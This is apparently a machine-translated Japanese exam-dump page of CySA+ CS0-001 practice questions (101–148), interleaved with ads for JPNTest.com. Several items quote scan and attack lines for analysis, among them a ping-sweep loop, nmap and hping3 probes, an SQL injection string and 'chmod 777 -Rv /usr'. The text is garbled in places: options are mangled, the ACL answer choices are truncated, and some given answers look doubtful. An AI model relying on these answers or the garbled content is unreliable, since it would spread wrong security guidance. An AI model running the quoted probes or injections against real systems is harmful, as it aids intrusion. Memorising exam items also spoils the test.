次のうちどれが偽陽性の可能性があるの指標でしょうか？

- A. スキャナーコンプライアンスプラグインが古いことをレポートが示しています。
- B. 「低」と表示された項目は情報提供のみを目的としています。
- C. スキャン結果のバージョンは自動資産インベントリとは異なります。
- D. 'HTTPS'エントリはWebページが安全に暗号化されていることを示します。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 101

セキュリティアナリストがCVEベースの脆弱性スキャナーからの出力をレビューしています。スキャンを実行する前に、アナリストは、特定のデータセンターでWindowsベースのサーバーのみを選択するように注意しました。スキャンの結果、データセンターにはWindows 2003 Server Edition (Win2003SE)を実行している27台のマシンが含まれていることが明らかになりました。2015年に、Win2003SE環境で36個の新しい脆弱性が発見されました。次のうちどれが最も当てはまる可能性がありますか。 2つ選んでください。)

- A. 脆弱性スキャンに関する結果の報告には、データセンターのスキャンに27台のWin2003SEコンピュータが含まれ、交換と無効化をスケジュールされている必要があることが記載されています。
- B. 修復には何らかの形の補償管理が必要になる可能性があります。
- C. すべてのWin2003SEマシンを修復するには、Microsoft Security CenterのWin2003SE Advanced Configuration Toolkitを使用して構成設定と補正制御を変更する必要があります。
- D. サードパーティベンダは、Win2003SEに必要なすべての必要なアップデートとパッチに対処しました。
- E. Microsoftが発表したWin2003SE用のアップデートおよびパッチのスケジュールは中断されずに続いています。

正解: A ([コメントを發表する](#))

質問: 102

サイバーセキュリティアナリストが、最近会社を辞めたユーザーのラップトップを受け取りました。アナリストの種類
プロンプトに 'history'を入力すると、最新のbash履歴に次のコード行が表示されます。

```
> for i in seq 255; ping -c 1 192.168.0.$i; done
```

このサブネットは会社内のユーザーに知られるべきではないので、これはアナリストに関係します。次のうちどれがこのコードがネットワーク上で行ったことを説明していますか？

- A. クラスCネットワークをpingスイープしました。
- B. ネットワーク上でハーフオープンSYBスキャンを実行しました。
- C. ネットワーク上の各ホストに255個のpingパケットを送信しました。
- D. ICMPエコーリプライをクラスCネットワークに順次送信します。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 103

新しい規制により、企業は組織の脆弱性管理プログラムを導入し、その機能をセキュリティチームに割り当てることにしました。次のフレームワークのうちどれがプログラムをサポートしますか？ 2つ選択してください。）

A. COBIT

B. NIST

C. ISO 27000シリーズ

D. ITIL

E. OWASP

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 104

A社のセキュリティポリシーでは、すべてのSSHアカウントにPKI認証のみを使用するように規定されています。A社のセキュリティアナリストが、次のauth.logと構成設定を確認しています。

```

Nov 1 09:53:12 comptia sshd[16269]: Connection from 192.168.2.6 port 53349 on 192.168.2.2 port 22
Nov 1 09:53:12 comptia sshd[16269]: Failed publickey for dev from 192.168.2.6 port 53349 ssh2: RSA
SHA256:66c5a96384aa8ba16a71da278317edf4e62eda2c6453a736759186da3a2f7697
Nov 1 09:53:15 comptia sshd[16269]: Accepted password for dev from 192.168.2.6 port 53349 ssh2
Nov 1 09:53:15 comptia sshd[16269]: pam_unix(sshd:session): session opened for user dev by (uid=0)
Nov 1 09:53:15 comptia systemd-logind[590]: New session 499 of user dev.
Nov 1 09:53:15 comptia sshd[16269]: User child is on pid 16271
Nov 1 09:53:15 comptia sshd[16271]: Starting session: shell on pts/5 for dev from 1

# Authentication:
LoginGraceTime 120
PermitRootLogin no
StrictModes no

RSAAuthentication yes

PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes

# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no

# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
# Ignore User KnownHosts yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads);
ChallengeResponseAuthentication no

# Change to no to disable tunneled clear text passwords
PasswordAuthentication yes

```

ポリシーへの準拠を確立するために、次のsshd_configファイルに加えるべき変更はどれですか。

- A. PubkeyAuthenticationをyesに変更します。#PubkeyAuthentication yes
- B. ChallengeResponseAuthenticationをChallengeResponseAuthenticationに変更する
- C. #AuthorizedKeysFile sh / .ssh / authorized_keystをAuthorizedKeysFile sh //に変更します。
。 ssh / authorized_keys
- D. PassworAuthenticationをPasswordAuthenticationに変更する
- E. PermitRootLoginnotoを変更します。#PermitRootLoginyes

正解: ([正解を表示します](#))

質問: 105

ある会社がクレジットカード取引を直接処理することにしました。次のうちどれがこのタイプのデータをスキャンするための要件を満たしますか？

- A. 隔年
- B. 四半期ごと

- C. 毎月
- D. 年間

正解: ([正解を表示します](#))

質問: 106

脆弱性アナリストは、10.1.1.0 / 24ネットワーク上の未承認のWebサーバーを持つすべてのシステムを識別する必要があります。アナリストは次のデフォルトのNmapスキャンを使用します。

```
nmap -sV -p 1-65535 10.1.1.0/24
```

次のうちどれが上記のコマンドを実行した結果でしょうか？

- A. このスキャンはすべてのポートを調べて開いているポートを返します。
- B. このスキャンはすべてのTCPポートをチェックしてバージョンを返します。
- C. このスキャンはすべてのTCPポートをチェックします。
- D. このスキャンは不正なサーバーを識別します。

正解: ([正解を表示します](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458問、30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 107

Linuxマシンからの次の出力があるとします。

```
file2cable -i eth0 -f file.pcap
```

次のうちどれがセキュリティアナリストが達成しようとしていることを説明していますか？

- A. アナリストはプロトコルアナライザを使用してネットワークトラフィックを監視しようとしています。
- B. アナリストはPCAPファイルのトラフィックをキャプチャしようとしています。
- C. アナリストはインターフェイスeth0上のトラフィックをキャプチャしようとしています。
- D. アナリストはPCAPファイルからキャプチャしたデータを再生しようとしています。
- E. アナリストは、インターフェイスeth0の帯域利用率を測定しようとしています。

正解: ([正解を表示します](#))

質問: 108

セキュリティ管理者は、最初のインスタンスから数か月後に、ローカルの特権ユーザーが "root" として対話的にサーバーにログインし、インターネットを閲覧していると判断します。管理者は、そのサーバーのセキュリティログを年1回見直すことによってこれを判断します。管理者は、次のセ

キュリティアーキテクチャ分野のうち、レビューと修正を推奨するものがありますか？ 2を選択)

- A. 利用規定
- B. ログ集計と分析
- C. 暗号化
- D. ソフトウェアアシュアランス
- E. ネットワークの分離と分離
- F. パスワードの複雑さ

正解: ([正解を表示します](#))

質問: 109

最近の監査で、いくつかのコーディングエラーと、公開ポータルで使用されている入力検証の欠如が明らかになりました。ポータルの性質とエラーの重大度により、ポータルにパッチを適用することはできません。

次のツールのうちどれが危険にさらされるリスクを減らすために使用できますか？

- A. ネットワークファイアウォール
- B. Webアプリケーションファイアウォール
- C. 侵入防止システム
- D. Webプロキシ

正解: ([正解を表示します](#))

質問: 110

次のうちどれが組込みコントローラの脆弱性を修正しなければならないでしょうか？

- A. 公立大学
- B. 金融機関
- C. 規制機関
- D. 水力発電施設

正解: D ([コメントを发表する](#))

質問: 111

ファイルの整合性監視では、書面による要求または承認された変更なしに次のファイルが変更されていると述べています。以下の変更が行われました。

```
chmod 777 -Rv /usr
```

次のうちどれが起こっている可能性がありますか？

- A. 所有権pf /usrが現在のユーザーに変更されました。
- B. 管理機能がユーザーからロックされています。
- C. 管理コマンドは世界的に読み書き可能になりました。
- D. /usrの所有権がrootユーザーに変更されました。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 112

今後の顧客のための取り組みの一環として、アナリストは、スキャンがSOWで定義された情報に準拠していることを確認するために侵入テストアプリケーションを設定しています。SOWに伝統的に見られる情報に基づいて、次の種類の情報のうちどれを考慮すべきですか？ 2つ選択してください。)

- A. スキャンのタイミング
- B. エグゼクティブサマリーレポートの内容
- C. 除外されたホスト
- D. メンテナンス期間
- E. IPS設定
- F. インシデント対応方針

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 113

キーベースの認証を有効にした後、セキュリティアナリストが次のログを確認しています。

```
Dec 21 11:00:57 comptia sshd[5657]: Failed password for root from
95.58.255.62 port 38980 ssh2
Dec 21 20:08:26 comptia sshd[5768]: Failed password for root from
91.205.189.15 port 38156 ssh2
Dec 21 20:08:30 comptia sshd[5770]: Failed password for nobody from
91.205.189.15 port 38556 ssh2
Dec 21 20:08:34 comptia sshd[5772]: Failed password for invalid user
asterisk from 91.205.189.15 port 38864 ssh2
Dec 21 20:08:38 comptia sshd[5774]: Failed password for invalid user
sjobeck from 91.205.189.15 port 39157 ssh2
Dec 21 20:08:42 comptia sshd[5776]: Failed password for root from
91.205.189.15 port 39467 ssh2
```

上記の情報を考えると、システムを保護するために次のステップのうちどれを実行する必要がありますか。

- A. 匿名SSHログインを無効にします。
- B. SSHのパスワード認証を無効にします。
- C. SSHv1を無効にします。
- D. リモートルートSSHログインを無効にします。

正解: B ([コメントを發表する](#))

説明/参照 :

Explanation:

質問: 114

注：質問Pは192.168.192.123である必要があります

ネットワーク偵察契約の間に、侵入テスト担当者はスキャンプロセスを加速するために境界ファイアウォールACLを与えられました。侵入テスト担当者は、セキュアシェル経由で宛先IPアドレス192.168.192.132にブルートフォースログインすることに集中することにしました。

```
access-list outside-acl permit tcp any host 192.168.192.123 eq https
access-list outside-acl permit tcp 10.10.10.0 mask 255.255.255.0 host 192.168.192.123 eq ssh
access-list outside-acl permit tcp 10.10.10.0 mask 255.255.255.0 host 192.168.192.123 eq www
access-list outside-acl permit tcp host 192.168.192.123 eq ssh
```

送信元IPアドレスが10.10.10.30の場合、次のACLのうちどれがこのアクセスを許可しますか？

A：

```
access-list outside-acl permit tcp any host 192.168.192.123 eq https
```

B：

```
access-list outside-acl permit tcp 10.10.10.0 mask 255.255.255.0 host 192.
```

子：

```
access-list outside-acl permit tcp 10.10.10.0 mask 255.255.255.0 host 192.
```

D：

```
access-list outside-acl permit tcp host 10.10.10.0 mask 255.255.255.0 host 192.
```

A. オプションA

B. オプションB

C. オプションC

D. オプションD

正解: C ([コメントを发表する](#))

質問: 115

セキュリティアナリストがIDSログを確認していて、次のエントリに気付いています。

```
(where email=john@john.com and password=' or 20==20')
```

次の攻撃のうちどれが起きていますか？

A. クロスサイトスクリプティング

B. ヘッダ操作

C. SQLインジェクション

D. XMLインジェクション

正解: ([正解を表示します](#))

説明/参照：

Explanation:

質問: 116

アナリストは、コマンドラインツールを使用して、ホスト上で開いているポートと実行中のサービスを、それらのサービスとポートに関連付けられているアプリケーションと共に識別します。アナリストは次のうちどれを使用しますか？

A. Wireshark

- B. Qualys
- C. netstat
- D. nmap
- E. ping

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 117

アナリストは、脆弱性スキャナが最新のシグニチャセットを持っていないため、パッチが当てられていないサーバには検出されない脆弱性があることを発見しました。経営陣は、セキュリティチームに、スキャンを実行する少なくとも24時間前に最新のシグニチャでスキャナを更新させるよう指示しましたが、結果は変わりません。次のうちどれが失敗に対処するための最良の論理制御ですか？

- A. スキャンツールを自動的にアップデートするようにスクリプトを設定します。
- B. 既存の更新プログラムが実行されていることを手動で確認します。
- C. 展開する前にサンドボックスで脆弱性の修正をテストします。
- D. 認証モードで実行するように脆弱性スキャンを設定します。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 118

ネットワーク上でパケットアナライザを実行した後、セキュリティアナリストは次の出力に気がきました。

```
11:52:04 10.10.10.65.39769 > 192.168.50.147.80;  
S 2585925862:2585925862(0) win 4096 (ttl 29, id 48666)  
  
11:52:04 10.10.10.65.39769 > 192.168.50.147.81;  
S 2585925862:2585925862(0) win 4096 (ttl 29, id 65179)  
  
11:52:04 10.10.10.65.39769 > 192.168.50.147.83;  
S 2585925862:2585925862(0) win 4096 (ttl 29, id 42056)  
  
11:52:04 10.10.10.65.39769 > 192.168.50.147.82;  
S 2585925862:2585925862(0) win 4096 (ttl 29, id 41568)
```

次のうちどれが起こっていますか？

- A. pingスweep
- B. ポートスキャン

C. ネットワークマップ

D. サービスの発見

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 119

アナリストは、さまざまなセキュア機能に対してPKI X.509に準拠しているテクノロジーの推奨事項を提供することを任務としていました。次のうちどれが互換性の要件を満たしていますか？ 3つ選択してください。）

A. 3DES

B. AES

C. IDEA

D. PKCS

E. PGP

F. SSL / TLS

G. テンペスト

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 120

ネットワーク管理者が金融取引の数を増やすことなくWebトラフィックの量を増やすことを観察した場合、同社は次の攻撃のうちどれを経験しているのでしょうか。

A. フィッシング

B. サービス拒否

C. ブルージャック

D. ARPキャッシュポイズニング

正解: ([正解を表示します](#))

質問: 121

あるエグゼクティブがセキュリティアナリストに、特定の攻撃経路に関する過去のログ、トラフィック、アラートを集計するよう依頼しました。その後、アナリストはデータを分析し、この攻撃ベクトルに関する将来の問題を予測しました。セキュリティアナリストが最も実施している可能性があるのは、次の種類の分析のうちどれですか。

A. 行動分析

B. 経営分析

C. トレンド分析

D. 可用性分析

正解: ([正解を表示します](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458問、30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 122

セキュリティアナリストは、組み込みデバイスのユーザーインターフェイスが一般的なSQLインジェクションに対して脆弱であると判断しました。デバイスを交換できず、ソフトウェアをアップグレードできません。セキュリティアナリストは、このデバイスに追加のセキュリティを追加することをお勧めしますか？

- A. セキュリティアナリストは、このデバイスが定期的にWebログをSIEMシステムにエクスポートすることをお勧めします。
- B. セキュリティアナリストは、IDSをネットワークセグメントに配置することをお勧めします。
- C. セキュリティアナリストは、このデバイスを定期的な脆弱性スキャンに含めることを推奨するべきです。
- D. セキュリティアナリストは、このデバイスをWAFの背後に配置することをお勧めします。

正解: ([正解を表示します](#))

質問: 123

セキュリティアナリストがSIEMからの警告に気付いた。ワークステーションが繰り返しポートに接続しようとしています

実稼働ネットワーク上の445のファイルサーバー。試行はすべて無効な認証情報で行われます。次のうちどれが起こっているのか説明しますか？

- A. 攻撃者がワークステーションを制御し、SMBセッションを作成してファイルサーバーに移動しようとしています。
- B. ファイルサーバーは、SMB経由でマルウェアをワークステーションに転送しようとしています。
- C. マルウェアがワークステーションを感染させ、ファイルサーバーの特定のIPアドレスにビーコンアウトしています。
- D. 攻撃者がワークステーションを制御し、ネットワークをポートスキャンしています。

正解: A ([コメントを発表する](#))

質問: 124

国際的な対応チームを持つセキュリティアナリストが、ランサムウェアの世界的な流通を隔離するために働いています。アナリストは、国際的な統治機関と協力して、この種類のランサムウェア

用の高度な侵入検知ルーチンを配布しています。次のうちどれがセキュリティアナリストが従うべき最も重要なステップですか？

- A. 秘密保持契約
- B. インシデントレスポンスフォーム
- C. セキュリティ運用プライバシー法
- D. 輸出規制

正解: ([正解を表示します](#))

質問: 125

サイバーセキュリティアナリストが次のアウトプットを検討しています。

```
root@kali:~# hping3 -S -p 80 192.168.1.19
HPING 192.168.1.19 (eth0 192.168.1.19): S set, 40 headers + 0 data bytes
Len=46 ip=192.168.1.19 ttl=64 DF id=28319 sport=80 flags=RA seq=0 win=0 rtt=0.6 ms

root@kali:~# hping3 -S -p 8080 192.168.1.19
HPING 192.168.1.19 (eth0 192.168.1.19): S set, 40 headers + 0 data bytes
Len=46 ip=192.168.1.19 ttl=64 DF id=28319 sport=8080 flags=SA seq=0 win=29200 rtt=11.9 ms
```

アナリストは上記の出力から次のうちどれを推測できるでしょうか。

- A. リモートホストはポート8080でサービスを実行しています。
- B. リモートホストはポート80でWebサーバーを実行しています。
- C. リモートホストはポート80をポート8080にリダイレクトしています。
- D. リモートホストのファイアウォールはポート80のパケットをドロップしています。

正解: A ([コメントを發表する](#))

質問: 126

次の対策のうちどれがセキュリティ管理者がMOSTに適用して、組織のワークステーションデバイスのBootkitレベルの感染を効果的に軽減する必要がありますか？

- A. 二次ウイルス対策アプリケーションをインストールします。
- B. 各デバイスの再起動後にシステム状態の回復を強制します。
- C. デバイスのBIOSレベルのパスワードを設定します。
- D. ローカル管理者権限を削除します。

正解: ([正解を表示します](#))

質問: 127

アナリストのJoeは、プレゼンテーションに参加しようとしているベンダーがネットワーク外のサーバーにアクセスする必要があるとの通知を受けました。現在、ユーザーはVPN接続を介してのみリモートサイトにアクセスできます。次のうちどれがベンダーに最もよく合うためにJoeを使うべきですか？

- A. ベンダーがオフィスにいる間はファイアウォールをオフにして、リモートサイトへのアクセスを許可します。
- B. ベンダーのVPNアカウントを設定して、リモートサイトへのアクセスを許可します。

C. ベンダのIPアドレスへの着信IPSecトラフィックを許可します。

D. ベンダーがリモートサイトにアクセスできるようにするためのファイアウォールルールを作成します。

正解: ([正解を表示します](#))

質問: 128

プロキシログを確認しているときに、セキュリティアナリストは疑わしいトラフィックパターンに気付きました。いくつかの内部ホストが、ポート80を介して常に外部IPアドレスと通信しているのが観察されました。事件が宣言され、調査が開始されました。影響を受けたユーザーにインタビューした後、アナリストは、新しいグラフィックデザインスイートを展開した直後にアクティビティが開始されたと判断しました。この情報に基づいて、次の行動のうちどれが調査における適切なNEXTステップであろうか？

A. デスクトップサポート担当者に、影響を受けるすべてのワークステーションのイメージを変更してグラフィックデザインスイートを再インストールするよう依頼してください。ウィルススキャンを実行してウィルスが存在するかどうかを確認します。

B. ネットワークスキャンを実行し、監視対象のトラフィックを生成している可能性がある不正なデバイスを特定します。

それらのデバイスをネットワークから削除してください。

C. 影響を受けるユーザーが認証しているサーバー上のすべてのウイルス対策およびマルウェア対策製品、およびその他すべてのホストベースのセキュリティソフトウェアを更新します。

D. 宛先IPアドレスとその所有者を特定し、影響を受けるホストで実行中のプロセスを調べて、そのアクティビティが悪意のあるものかどうかを判断します。

正解: ([正解を表示します](#))

質問: 129

汎用ITネットワークサーバーとSCADAシステムの脆弱性の修正における主な違いは、次のとおりです。

A. 変更および構成管理プロセスはSCADAシステムに対応していません。

B. SCADAシステムへのパッチのインストールは確認できません。

C. SCADAシステムを再起動して変更を有効にすることはできません。

D. そうすることで、SCADAシステムに運用上の影響を与える可能性が高くなります。

正解: ([正解を表示します](#))

質問: 130

OWASP ZAPツールを使用して本社のWebサイトをスキャンした後、サイバーセキュリティアナリストは次の警告を確認しています。

```
The AUTOCOMPLETE output is not disabled in HTML FORM/INPUT
containing password type input. Passwords may be stored in
browsers and retrieved.
```

アナリストは問題のあるコードの断片をレビューします。

```
<form action="authenticate.php">
  Username:<br>
  <input type="text" name="username" value="" autofocus><br>
  Password: <br>
  <input type="password" name="password" value="" maxlength="32"><br>
  <input type="submit" value="submit">
</form>
```

次のうちどれが上記の警告とコードスニペットに基づく最良の行動方針ですか？

- A. アナリストは、誤検知に対してスキャナー例外を実装する必要があります。
- B. システム管理者はSSLを無効にしてTLSを実装する必要があります。
- C. 開発者はコードを確認してコードの修正を実装する必要があります。
- D. 組織は、問題を解決するためにブラウザのGPOを更新する必要があります。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 131

アナリストは、Webサーバーの脆弱性をスキャンするために次のどのツールを使用すべきですか？

- A. Qualys
- B. SolarWinds
- C. Wireshark
- D. ArcSight

正解: ([正解を表示します](#))

質問: 132

脅威インテリジェンスフィードが、カーネルに重大な脆弱性があることを示す警告を投稿しました。

残念ながら、同社の資産在庫は最新のものではありません。組織内の影響を受けるすべてのサーバーを見つけるために、サイバーセキュリティアナリストはどのようなテクニックを実行しますか？

- A. syslogに送信されたデータからの手動ログレビュー
- B. すべてのホストにわたるOSフィンガープリントスキャン
- C. サーバーネットワークを通過するデータの packets キャプチャ
- D. ネットワーク上のサービス検出スキャン

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 133

セキュリティアナリストがコンピュータ犯罪捜査を支援しており、PCを保護してフォレンジックラボに届けるよう依頼されています。次の項目のうちどれがPCを保護するのに最も役立ちますか？

3つ選んでください。)

- A. ネットワークタップ
- B. CoCの形
- C. マルチメータ
- D. 耐タンパーシール
- E. ドライブ消しゴム
- F. ファラデー箱
- G. 書き込みブロッカー

正解: B,D,F ([コメントを发表する](#))

質問: 134

Webアプリケーションの脆弱性スキャン中に、SQLデータベースサーバに接続されたWebフォームに特定のキーフレーズが入力された後、アプリケーションが不適切なデータを表示することが発見されました。次のうちどれが機密データを返すこの種の攻撃の可能性を減らすために使用されるべきですか？

- A. ピアレビューコード
- B. アプリケーションファジング
- C. 静的コード分析
- D. 入力検証

正解: ([正解を表示します](#))

質問: 135

セキュリティアナリストが、企業ネットワーク上の古いSCADAデバイスの脆弱性評価を実施しています。次の補正コントロールのどれがスキャンが価値を提供するのを妨げる可能性がありますか？

- A. ネットワーク内のSCADAデバイスにアクセスできないようにするアクセス制御リストのネットワークセグメンテーション。
- B. SCADAデバイスへの外部からのアクセスを効果的に防止するための詳細およびテスト済みのファイアウォール規則。
- C. ネットワーク上のすべてのデバイスがネットワーク上のすべてのSCADAデバイスを認識できるようにするVLANの実装。
- D. 'SCADA SUPPORT' = ENABLEで構成されたSCADAシステム

正解: ([正解を表示します](#))

質問: 136

会社は従業員が遠隔で働くことを可能にします。セキュリティ管理部門は、リモートヘルプデスク担当者が本社の外で安全に作業できるようにするサービスを設定しています。次のうちどれがこの目標を達成するための最良の解決策を提示？

- A. ヘルプデスク担当者全員がシステムリソースにリモートアクセスできるようにジャンプボックスを設定します。
- B. ヘルプデスク担当者がリソースにアクセスできるように、DMZで終端するようにVPNコンセントレータを設定します。
- C. ファイアウォールでサーバーのポート3389を開き、ユーザーがリモート接続できるようにします。
- D. 会社の既存のWebサーバーをリモートアクセスに使用し、ポート8080で設定します。

正解: **B** ([コメントを发表する](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458問、30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **137**

セキュリティ構成管理ポリシーでは、すべてのパッチは運用環境に移行する前にテスト手順を経る必要があると規定されています。セキュリティアナリストは、1つのWebアプリケーションサーバーが営業時間外にテストを行わずにパッチをダウンロードして適用していることに気付きました。明らかな悪影響はありません。サーバーの機能には影響がないようで、スキャン後にマルウェアは見つかりませんでした。

アナリストは次のどの行動をとるべきですか？

- A. 異常な活動に対するインシデントチケットを作成します。
- B. 営業時間内に自動パッチ適用が行われるように再スケジュールします。
- C. Webアプリケーションサービスの異常な帯域消費を監視します。
- D. パッチ適用によるサービス中断についてWebアプリケーションを監視します。

正解: ([正解を表示します](#))

質問: **138**

次のうちどれが直接インターネットを従業員に公開することなく内部の従業員にインターネットアクセスを提供するために使用される技術ですか？

- A. 侵入防止システム
- B. 脆弱性スキャナー
- C. ファザー
- D. Webプロキシ

正解: ([正解を表示します](#))

質問: 139

薬局はその顧客に彼らの記録へのオンラインアクセスと請求書を見直して支払いをする能力を与えます。特別なプラットフォームに新たなSSLの脆弱性が発見され、攻撃者がこれらのサービスを提供するエンドユーザーとWebサーバー間のデータを取得する可能性があります。プラットフォームの脆弱性を調査した結果、提供されているWebサービスはこの新しい脅威の影響を受けていると判断されました。

次のデータタイプのうちどれが、この新しい脅威に基づいて最も危険にさらされる可能性がありますか？ (2つ選んでください。)

- A. 企業財務データ
- B. 個人の健康情報
- C. 従業員レコード
- D. カード会員データ
- E. 知的財産

正解: B,D ([コメントを発表する](#))

質問: 140

サイバーセキュリティアナリストは、次のものについてパケット分析を行っています。

Time	Source	Destination	Info
0.000673	00:48:c2:5f:39:57	00:43:b3:3f:23:e3	172.16.1.7 is at 00:48:c2:5f:39:57
0.001173	00:48:c2:5f:39:9a	00:43:b3:3f:23:e3	172.16.1.6 is at 00:48:c2:5f:39:9a
0.002346	00:48:c2:5f:39:2b	00:43:b3:3f:23:e3	172.16.1.12 is at 00:48:c2:5f:39:2b
0.005123	00:48:c2:5f:39:42	00:43:b3:3f:23:e3	172.16.1.13 is at 00:48:c2:5f:39:42
0.010281	00:48:c2:5f:39:6b	00:43:b3:3f:23:e3	172.16.1.2 is at 00:48:c2:5f:39:6b
0.021597	00:48:c2:5f:39:9a	00:43:b3:3f:23:e3	172.16.1.7 is at 00:48:c2:5f:39:9a
0.044812	00:48:c2:5f:39:3c	00:43:b3:3f:23:e3	172.16.1.21 is at 00:43:b3:3f:23:e3
0.06512	00:48:c2:5f:39:9a	00:43:b3:3f:23:e3	172.16.1.7 is at 00:43:b3:3f:23:e3

次のうちどれが特定のパケットキャプチャで発生していますか？

- A. ブロードキャストストーム
- B. スマーフアタック
- C. ゼロデイエクスプロイト
- D. ARPスプーフィング
- E. ネットワークの列挙

正解: ([正解を表示します](#))

質問: 141

最近、Linuxベースのファイル暗号化マルウェアが発見されました。事前に設定されたサンドボックスでマルウェアを実行してその動作を分析する前に、セキュリティの専門家は次のコマンドを実行します。

```
umount -a -t cifs, nfs
```

上記のコマンドを実行する主な理由はどれですか？

- A. マルウェアがリモートシステムに影響を与えるかどうかをテストする
- B. ネットワーク経由で重要なファイルをバックアップする
- C. マルウェアがローカルホストに到達するのを制限します。
- D. マルウェアがメモリ制限されていることを確認します。

正解: ([正解を表示します](#))

質問: 142

サイバーセキュリティコンサルタントは、組織内の複数のサーバで使用されているVPN、SSH、およびHTTPSの各サービスに共通の脆弱性を発見しました。次のうちどれが発見された脆弱性の最も可能性の高い理由ですか？

- A. 暗号化エントロピーの弱いレベル
- B. PEAPの脆弱な実装
- C. OpenSSLの脆弱なバージョン
- D. 漏洩したPKI秘密鍵
- E. 共通の初期化ベクタ

正解: A ([コメントを發表する](#))

質問: 143

サイバーセキュリティアナリストは、よく知られている「Call Home」メッセージがネットワーク境界でネットワークセンサーによって継続的に監視されているというアラートを受け取りました。プロキシファイアウォールはメッセージを正常にドロップします。アラートが真のポジティブであると判断した後、最も可能性の高い原因は次のうちどれですか？

- A. 攻撃者は会社のリソースを偵察しています。
- B. 外部の指揮統制システムが感染したシステムに到達しようとしています。
- C. インサイダーがリモートネットワークに情報を抽出しようとしています。
- D. マルウェアは社内システムで実行されています。

正解: B ([コメントを發表する](#))

説明/参照：

Explanation:

質問: 144

保険会社の従業員が、患者の住所、診療所への訪問、診断情報、および処方箋を含む請求を処理しています。ドキュメントをスーパーバイザーに転送している間に、入力ミスが原因で、従業員が誤ってデータを社外の個人用電子メールアドレスに送信しました。次の種類のデータのうちどれが危険にさらされていますか？

- A. 知的財産
- B. 専有情報
- C. PCI
- D. PHI

正解: ([正解を表示します](#))

質問: 145

最近の監査では、60日前にリリースされた重要なパッチが環境内のサーバーに適用されていないことが判明した脆弱性スキャンが含まれています。インフラストラクチャチームはこの問題を特定し、自動パッチ管理アプリケーションを実行しているサーバでサービスが無効になっていることが原因であると判断しました。

次のうちどれが将来同様の監査結果を避けるための最も効率的な方法でしょうか？

- A. サービス監視を実装して、ツールが正しく機能していることを確認します。
- B. パッチリリースから30日以内にすべてのサーバーにパッチを適用することを要求するパッチ管理ポリシーを作成します。
- C. 手動によるパッチ管理アプリケーションパッケージを実装して、プロセスに対する管理を強化します。
- D. 起動時に自動で起動するようにパッチ管理サーバのサービスを設定します。

正解: ([正解を表示します](#))

質問: 146

電子メールの添付ファイルを開こうとした後、人事部の従業員がデバイスが応答しなくなるという問題を抱え始めました。知らされると、セキュリティアナリストは、IDSに異常な動作やウイルス対策ソフトウェアからのアラートが発生していなくても、状況に疑いを抱くようになりました。次のうちどれがこの状況での脅威の種類を説明しますか？

- A. 死の包み
- B. ゼロデイマルウェア
- C. PIIの抽出
- D. 既知のウイルス

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 147

内部監査の後、管理者ログインでは多要素認証または複雑さを有効にした15文字のキーを使用する必要があると判断されました。次のポリシーのうちどれがこの変更を反映するために更新すべきですか？ 2つ選んでください。）

- A. データ保持方針
- B. アカウント管理方針
- C. データ分類方針
- D. 利用規定
- E. パスワードポリシー
- F. データ所有権

正解: ([正解を表示します](#))

質問: 148

ある会社が1年以上前にワイヤレスネットワークを設置し、単一のサブネット内の同じモデルのAPに標準化しました。最近、何人かのユーザーがタイムアウトとインターネットの閲覧に関する接続の問題を報告しています。セキュリティ管理者は、ユーザーの助けを借りて問題を再現しようとするために、ネットワークに関するいくつかの情報を収集しました。管理者はネットワーク上のすべてのデバイスに対してpingを実行でき、ネットワークが非常に遅いことを確認できます。

Administrator's PC: 192.168.1.20
User's PC: 192.168.1.22
AP-Finance: 192.168.1.10
AP-Workshop: 192.168.1.11
AP-Lounge: 192.168.1.12
AP-Reception: 192.168.1.13
AP-Warehouse: 192.168.1.14
AP-IT: 192.168.1.15

出力:

```
Interface: 192.168.1.20 --- 0xf
Internet Address Physical Address Type
192.168.1.4 1a-25-0d-df-c6-27 dynamic
192.168.1.5 1a-25-0d-df-c8-00 dynamic
192.168.1.10 00-dc-3b-67-81-1a dynamic
192.168.1.11 c4-02-03-a1-4a-01 dynamic
192.168.1.12 00-dc-3b-67-82-02 dynamic
192.168.1.13 00-dc-3b-a5-ba-0b dynamic
192.168.1.14 00-dc-3b-67-88-07 dynamic
192.168.1.15 00-dc-3b-67-80-0a dynamic
192.168.1.20 1a-25-0d-df-8d-82 dynamic
